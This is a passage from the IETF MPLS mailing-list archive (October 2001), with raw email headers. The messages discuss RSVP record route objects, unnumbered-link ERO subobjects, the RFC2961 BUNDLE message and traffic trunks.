	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11677
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 13:22:40 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmkz01521;
	Fri, 26 Oct 2001 17:22:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmkz00802
	for mpls-outgoing; Fri, 26 Oct 2001 17:21:55 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmkz00797
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 17:21:52 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmkz19952
	for <mpls@UU.NET>; Fri, 26 Oct 2001 17:21:48 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmkz01848
	for <mpls@UU.NET>; Fri, 26 Oct 2001 17:21:38 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA06662;
	Fri, 26 Oct 2001 13:21:45 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA22554;
	Fri, 26 Oct 2001 13:21:46 -0400 (EDT)
Message-ID: <3BD99BC5.D250EC36@marconi.com>
Date: Fri, 26 Oct 2001 13:22:13 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: Hong Liao <hliao@telcordia.com>
CC: mpls@UU.NET
Subject: Re: RSVP rro QUESTIONS, can anyone help me for this?
References: <OF4939A03B.89BB62B7-ON85256AF1.005A9846@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> IngressA ----- InterLSR  ---Egress
> If I have ingress A, suppose it sends out the path msg with multiple
> RROs, first rro is the IngressA's address, and then the second RRo
> just put any other ip address there, then the InterLSR should only
> forward the first RRO, which is the ingress A's address to the
> egress.  am I right?

Correct.  InterLSR should behave as if the second RRO doesn't exist at
all.

Depending on its implementation, InterLSR might not parse the second RRO
object out of the packet at all.

-- David


From owner-mpls@UU.NET  Fri Oct 26 14:20:38 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA14131
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 14:20:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmld19863;
	Fri, 26 Oct 2001 18:20:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmld24486
	for mpls-outgoing; Fri, 26 Oct 2001 18:20:15 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmld24481
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 18:20:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmld23888
	for <mpls@uu.net>; Fri, 26 Oct 2001 18:17:28 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: yarilo.pluris.com [208.227.9.200])
	id QQlmld13341
	for <mpls@uu.net>; Fri, 26 Oct 2001 18:17:46 GMT
Received: from avalon.pluris.com (avalon.pluris.com [172.16.50.49])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id LAA19502;
	Fri, 26 Oct 2001 11:17:17 -0700 (PDT)
Received: by avalon.pluris.com with Internet Mail Service (5.5.2653.19)
	id <VMHLCA08>; Fri, 26 Oct 2001 11:17:17 -0700
Message-ID: <17C81AD1F1FED411991E006008F6D1CAFA9396@avalon.pluris.com>
From: Puneet Agarwal <puneet@pluris.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Cc: Puneet Agarwal <puneet@pluris.com>, "'bora@cisco.com'"
	 <bora@cisco.com>,
        swallow@cisco.com, "'sob@harvard.edu'"
	 <sob@harvard.edu>,
        "'vijay@cosinecom.com'" <vijay@cosinecom.com>,
        "'bwijnen@lucent.com'" <bwijnen@lucent.com>,
        "'rcoltun@movaz.com'"
	 <rcoltun@movaz.com>
Subject: draft-agarwal-mpls-ttl-01.txt
Date: Fri, 26 Oct 2001 11:17:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I would like to propose that draft-agarwal-mpls-ttl-01.txt be accepted as an
MPLS WG draft.

Thanks.

-Puneet


From owner-mpls@UU.NET  Fri Oct 26 17:07:22 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19083
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 17:07:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmlo25429;
	Fri, 26 Oct 2001 21:07:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmlo25934
	for mpls-outgoing; Fri, 26 Oct 2001 21:06:51 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmlo25920
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 21:06:36 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmlo05431
	for <mpls@uu.net>; Fri, 26 Oct 2001 21:06:19 GMT
Received: from merlot.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlmlo01063
	for <mpls@uu.net>; Fri, 26 Oct 2001 21:06:38 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9QL6I094021;
	Fri, 26 Oct 2001 14:06:18 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: (from kireeti@localhost) by kummer.juniper.net (8.8.8/8.7.3) id OAA17025; Fri, 26 Oct 2001 14:06:18 -0700 (PDT)
Date: Fri, 26 Oct 2001 14:06:18 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
Message-Id: <200110262106.OAA17025@kummer.juniper.net>
To: bora@cisco.com, David.Charlap@marconi.com
Subject: Re: Questions on unnumbered links
Cc: mpls@UU.NET
In-Reply-To: <3BD99349.68F7DCF7@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Bora,

> And that object was based on my now expired draft in
> draft-akyol-mpls-expanded-ero-00.txt

I'm not sure what you mean by "that object"; the only reference to
an object in David's mail is

> The unnumbered draft defines a new ERO subobject, which will allow for
> this kind of specification.

The unnumbered draft (and the ERO subobject for specifying unnumbered
links) *preceded* your expired draft; what's your basis for claiming
that the ERO subobject is based on your draft?

Kireeti.

------------ Original Mail --------------

Date: Fri, 26 Oct 2001 09:46:01 -0700
From: Bora Akyol <bora@cisco.com>
To: David Charlap <David.Charlap@marconi.com>
CC: mpls@uu.net
Subject: Re: Questions on unnumbered links

Yes

And that object was based on my now expired draft in
draft-akyol-mpls-expanded-ero-00.txt

I guess as people get around to implementing this stuff, they realize that

they need more information. This is what happens when you first write the
draft and then write the code.

Additionally, there is quiet a few "implementation" decisions that you
make as you write the CSPF and traffic engineering database code as well.
Sounds like fun, it sure is.



Bora


David Charlap wrote:

> Eric Gray wrote:
> >
> > Maybe I missed something: I thought support for unnumbered links
> > needed to be added for GMPLS because there are problems with these
> > links in the general case.  I was not aware that there are problems
> > with unnumbered links in the Ethernet, PPP, ATM and Frame Relay
> > cases or in basic signaling of MPLS explicit routes.
> >
> > What exactly are the problems with using unnumbered links in the
> > specific cases defined for MPLS?
>
> Without extensions, an ERO can not specify which of several parallel
> unnumbered links should be used for an LSP.
>
> The unnumbered draft defines a new ERO subobject, which will allow for
> this kind of specification.
>
> But without thit unnumbered-link extensions in the IGP's topology, the
> information necessary to compute an ERO using this subobject is not
> present.
>
> -- David


From owner-mpls@UU.NET  Fri Oct 26 17:19:57 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19307
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 17:19:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmlp18556;
	Fri, 26 Oct 2001 21:20:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmlp05792
	for mpls-outgoing; Fri, 26 Oct 2001 21:19:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmlp05771
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 21:19:27 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmlp16462
	for <mpls@uu.net>; Fri, 26 Oct 2001 21:19:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmlp22689
	for <mpls@uu.net>; Fri, 26 Oct 2001 21:19:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id RAA12354 for <mpls@uu.net>; Fri, 26 Oct 2001 17:19:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA28194 for mpls@uu.net; Fri, 26 Oct 2001 17:19:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmlo05115
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 21:14:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmlo06721
	for <mpls@uu.net>; Fri, 26 Oct 2001 21:14:07 GMT
Received: from sj-msg-core-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-3.cisco.com [171.70.157.152])
	id QQlmlo21677
	for <mpls@uu.net>; Fri, 26 Oct 2001 21:13:56 GMT
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f9QLBv914326;
	Fri, 26 Oct 2001 14:11:57 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f9QLE4p23208;
	Fri, 26 Oct 2001 14:14:05 -0700 (PDT)
Received: from cisco.com (dhcp-171-69-39-121.cisco.com [171.69.39.121]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id OAA20362; Fri, 26 Oct 2001 14:14:04 -0700 (PDT)
Message-ID: <3BD9D1D0.EA500D7@cisco.com>
Date: Fri, 26 Oct 2001 14:12:48 -0700
From: Bora Akyol <bora@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Kireeti Kompella <kireeti@juniper.net>, mpls@UU.NET
Subject: Re: Questions on unnumbered links
References: <200110262106.OAA17025@kummer.juniper.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


I accept I was being cryptic. The addition of the router ID to the unnumbered
ERO sub-object was based on the discussion the mpls mailing list triggered by
the draft-akyol-mpls-expanded-ero-00.txt draft.

The definition of the ERO subobject describing unnumbered interfaces prior to
the "Expanded ERO" draft did not include the router ID.

No intent to claim credit for the **entire** ERO sub-object on my part.

Bora


Kireeti Kompella wrote:

> Bora,
>
> > And that object was based on my now expired draft in
> > draft-akyol-mpls-expanded-ero-00.txt
>
> I'm not sure what you mean by "that object"; the only reference to
> an object in David's mail is
>
> > The unnumbered draft defines a new ERO subobject, which will allow for
> > this kind of specification.
>
> The unnumbered draft (and the ERO subobject for specifying unnumbered
> links) *preceded* your expired draft; what's your basis for claiming
> that the ERO subobject is based on your draft?
>
> Kireeti.
>
> ------------ Original Mail --------------
>
> Date: Fri, 26 Oct 2001 09:46:01 -0700
> From: Bora Akyol <bora@cisco.com>
> To: David Charlap <David.Charlap@marconi.com>
> CC: mpls@uu.net
> Subject: Re: Questions on unnumbered links
>
> Yes
>
> And that object was based on my now expired draft in
> draft-akyol-mpls-expanded-ero-00.txt
>
> I guess as people get around to implementing this stuff, they realize that
>
> they need more information. This is what happens when you first write the
> draft and then write the code.
>
> Additionally, there is quiet a few "implementation" decisions that you
> make as you write the CSPF and traffic engineering database code as well.
> Sounds like fun, it sure is.
>
> Bora
>
> David Charlap wrote:
>
> > Eric Gray wrote:
> > >
> > > Maybe I missed something: I thought support for unnumbered links
> > > needed to be added for GMPLS because there are problems with these
> > > links in the general case.  I was not aware that there are problems
> > > with unnumbered links in the Ethernet, PPP, ATM and Frame Relay
> > > cases or in basic signaling of MPLS explicit routes.
> > >
> > > What exactly are the problems with using unnumbered links in the
> > > specific cases defined for MPLS?
> >
> > Without extensions, an ERO can not specify which of several parallel
> > unnumbered links should be used for an LSP.
> >
> > The unnumbered draft defines a new ERO subobject, which will allow for
> > this kind of specification.
> >
> > But without thit unnumbered-link extensions in the IGP's topology, the
> > information necessary to compute an ERO using this subobject is not
> > present.
> >
> > -- David



From owner-mpls@UU.NET  Fri Oct 26 18:03:27 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19917
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 18:03:26 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmls12932;
	Fri, 26 Oct 2001 22:03:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmls19080
	for mpls-outgoing; Fri, 26 Oct 2001 22:03:12 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmls19021
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 22:03:02 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmls01154
	for <mpls@uu.net>; Fri, 26 Oct 2001 22:02:24 GMT
Received: from merlot.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlmls29324
	for <mpls@uu.net>; Fri, 26 Oct 2001 22:02:13 GMT
Received: from juniper.net (dhcp-nsw-47.juniper.net [172.17.13.209])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9QM2G097373;
	Fri, 26 Oct 2001 15:02:16 -0700 (PDT)
	(envelope-from pingpan@juniper.net)
Message-ID: <3BD9DD92.AFB12B99@juniper.net>
Date: Fri, 26 Oct 2001 15:02:58 -0700
From: Ping Pan <pingpan@juniper.net>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Arvind, K" <arvind@tenornetworks.com>
CC: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: RFC2961 BUNDLE message
References: <6B190B34070BD411ACA000B0D0214E5659A29A@newman.tenornet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Arvind,

RSVP soft-state refresh has two significant scaling problems: 
- there are too many control packets on the wire, and 
- refresh and trigger messages look the same (so they have to be
processed the same way). 

RFC2961 is to fix both problems. Bundling message can stuff multiple
messages in one frame, so that a router can take care of multiple
sessions in one shot. (This is very important in many operating systems,
where I/O overhead is generally greater than memory copy.) So bundling
reduces the total number of messages. With the help of Srefresh, you can
process refresh messages differently.

In short, RFC2961 can improve the performance greatly. In MPLS networks,
I don't see any scalability problem caused by RSVP.

- Ping


"Arvind, K" wrote:
> 
> Does the BUNDLE message offer any real benefit in terms of reducing control
> overhead? There seems to be no significant change in the overall amount of
> control traffic that is generated or processed as a result of bundling (even
> though the traffic is bunched together resulting in fewer (but larger)
> messages). Does this mechanism really help in scaling RSVP?  Could someone
> throw light on this? Thanks.
> 
> Regards,
> Arvind.


From owner-mpls@UU.NET  Fri Oct 26 18:11:09 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19983
	for <mpls-archive@lists.ietf.org>; Fri, 26 Oct 2001 18:11:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmls16206;
	Fri, 26 Oct 2001 22:11:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmls28599
	for mpls-outgoing; Fri, 26 Oct 2001 22:10:47 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmls28589
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 22:10:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmls08171
	for <mpls@uu.net>; Fri, 26 Oct 2001 22:10:15 GMT
Received: from merlot.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlmls25737
	for <mpls@uu.net>; Fri, 26 Oct 2001 22:10:34 GMT
Received: from juniper.net (dhcp-nsw-47.juniper.net [172.17.13.209])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9QMA7097785;
	Fri, 26 Oct 2001 15:10:07 -0700 (PDT)
	(envelope-from pingpan@juniper.net)
Message-ID: <3BD9DF69.40115EF@juniper.net>
Date: Fri, 26 Oct 2001 15:10:49 -0700
From: Ping Pan <pingpan@juniper.net>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Feng, Mark" <m_feng@trillium.com>
CC: "'Arvind, K'" <arvind@tenornetworks.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: RFC2961 BUNDLE message
References: <F1CE15E08172D4119247009027AE9D500C7CA128@FMSMSX37>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Mark,

I'm not sure that the packet size matters much here. A while ago, I had
measured processing time vs. packet size on 4.4 BSD. It was almost a
flat line. Bundling was designed to improve I/O efficiency, not to save
packet size.

- Ping


"Feng, Mark" wrote:
> 
> One thing it saves is the IP header, since multiple RSVP message will be
> packed into one.
> 
> If the question is, by the Bundle message itself, helps the scaling problem.
> IMO, not a whole lot.
> 
> - Mark
>


From owner-mpls@UU.NET  Sat Oct 27 14:30:48 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15769
	for <mpls-archive@lists.ietf.org>; Sat, 27 Oct 2001 14:30:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmow24066;
	Sat, 27 Oct 2001 18:31:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmow19106
	for mpls-outgoing; Sat, 27 Oct 2001 18:30:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmow19099
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 27 Oct 2001 18:30:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmov03042
	for <mpls@uu.net>; Sat, 27 Oct 2001 18:29:52 GMT
Received: from thalia.fm.intel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns02.fm.intel.com [132.233.247.11])
	id QQlmov15470
	for <mpls@uu.net>; Sat, 27 Oct 2001 18:29:41 GMT
Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.46 2001/10/25 21:02:55 root Exp $) with SMTP id SAA09346
	for <mpls@uu.net>; Sat, 27 Oct 2001 18:29:51 GMT
Received: from fmsmsx27.fm.intel.com ([132.233.42.27])
 by fmsmsxvs040.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001102711292628088
 ; Sat, 27 Oct 2001 11:29:26 -0700
Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <VBNDY0BJ>; Sat, 27 Oct 2001 11:30:35 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA12B@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'Ping Pan'" <pingpan@juniper.net>, "Feng, Mark" <m_feng@trillium.com>
Cc: "'Arvind, K'" <arvind@tenornetworks.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: RFC2961 BUNDLE message
Date: Sat, 27 Oct 2001 11:31:58 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I stand corrected. That makes sense.

Thanks.

- Mark

> -----Original Message-----
> From: Ping Pan [mailto:pingpan@juniper.net]
> Sent: Friday, October 26, 2001 3:11 PM
> To: Feng, Mark
> Cc: 'Arvind, K'; 'mpls@uu.net'
> Subject: Re: RFC2961 BUNDLE message
> 
> 
> Mark,
> 
> I'm not sure that the packet size matters much here. A while 
> ago, I had
> measured processing time vs. packet size on 4.4 BSD. It was almost a
> flat line. Bundling was designed to improve I/O efficiency, 
> not to save
> packet size.
> 
> - Ping
> 
> 
> "Feng, Mark" wrote:
> > 
> > One thing it saves is the IP header, since multiple RSVP 
> message will be
> > packed into one.
> > 
> > If the question is, by the Bundle message itself, helps the 
> scaling problem.
> > IMO, not a whole lot.
> > 
> > - Mark
> >
> 


From owner-mpls@UU.NET  Sun Oct 28 23:17:40 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA20376
	for <mpls-archive@lists.ietf.org>; Sun, 28 Oct 2001 23:17:39 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmub11982;
	Mon, 29 Oct 2001 04:17:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmub04586
	for mpls-outgoing; Mon, 29 Oct 2001 04:17:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmub04581
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 04:17:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmub02864
	for <mpls@uu.net>; Mon, 29 Oct 2001 04:15:26 GMT
Received: from itplgateway.cpqitpltech4 by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.4.185.134])
	id QQlmub07841
	for <mpls@uu.net>; Mon, 29 Oct 2001 04:15:39 GMT
Received: from KRISHNAKANTH ([192.168.0.105]) by itplgateway.cpqitpltech4 with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 4FCF0H1X; Mon, 29 Oct 2001 09:43:44 +0530
Message-ID: <00ad01c16031$131a9de0$6900a8c0@krishnakanth>
From: "Krishnakanth Rao" <krishnakanth.rao@cominsights.com>
To: <mpls@UU.NET>
Subject: Traffic Trunks
Date: Mon, 29 Oct 2001 09:50:41 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00AA_01C1605F.2B7370F0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00AA_01C1605F.2B7370F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

RFC2430 defines traffic trunk as an aggregation of traffic flows of the =
same class. Are FEC's and traffic trunks same ?

Krishnakanth








------=_NextPart_000_00AA_01C1605F.2B7370F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>
<P><FONT size=3D3>RFC2430 defines traffic trunk as an aggregation of =
traffic flows=20
of the same class. Are FEC's and traffic trunks same ?</FONT></P>
<P><FONT size=3D3>Krishnakanth</FONT></P>
<P><FONT size=3D3></FONT>&nbsp;</P>
<P><FONT face=3DArial></FONT>&nbsp;</P>
<P><FONT face=3DArial></FONT>&nbsp;</P></FONT></DIV></BODY></HTML>

------=_NextPart_000_00AA_01C1605F.2B7370F0--



From owner-mpls@UU.NET  Mon Oct 29 00:10:44 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21093
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 00:10:44 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmue04631;
	Mon, 29 Oct 2001 05:10:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmue27339
	for mpls-outgoing; Mon, 29 Oct 2001 05:10:16 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmue27310
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 05:10:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmue10679
